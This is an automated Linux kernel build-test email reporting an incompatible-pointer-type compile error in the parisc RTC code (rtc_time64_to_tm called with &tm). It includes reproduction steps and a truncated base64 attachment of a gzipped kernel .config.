Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

[auto build test ERROR on next-20160426]
[cannot apply to m68k/for-next abelloni/rtc-next v4.6-rc5 v4.6-rc4 v4.6-rc3 v4.6-rc5]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/Arnd-Bergmann/simplify-rtc-generic-driver/20160427-055751
config: parisc-c3000_defconfig (attached as .config)
compiler: hppa-linux-gnu-gcc (Debian 5.3.1-8) 5.3.1 20160205
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

Note: the linux-review/Arnd-Bergmann/simplify-rtc-generic-driver/20160427-055751 HEAD ba518829eb442ee7f7806864a806fa45791f787f builds fine.
      It only hurts bisectibility.

All errors (new ones prefixed by >>):

   arch/parisc/kernel/time.c: In function 'rtc_generic_get_time':
>> arch/parisc/kernel/time.c:262:37: error: passing argument 2 of 'rtc_time64_to_tm' from incompatible pointer type [-Werror=incompatible-pointer-types]
     rtc_time64_to_tm(tod_data.tod_sec, &tm);
                                        ^
   In file included from arch/parisc/kernel/time.c:15:0:
   include/linux/rtc.h:23:13: note: expected 'struct rtc_time *' but argument is of type 'struct rtc_time **'
    extern void rtc_time64_to_tm(time64_t time, struct rtc_time *tm);
                ^
   cc1: some warnings being treated as errors

vim +/rtc_time64_to_tm +262 arch/parisc/kernel/time.c

   256	
   257		memset(tm, 0, sizeof(*tm));
   258		if (pdc_tod_read(&tod_data) < 0)
   259			return -EOPNOTSUPP;
   260	
   261		/* we treat tod_sec as unsigned, so this can work until year 2106 */
 > 262		rtc_time64_to_tm(tod_data.tod_sec, &tm);
   263		return rtc_valid_tm(tm);
   264	}
   265	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--OgqxwSJOaUobr8KG
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
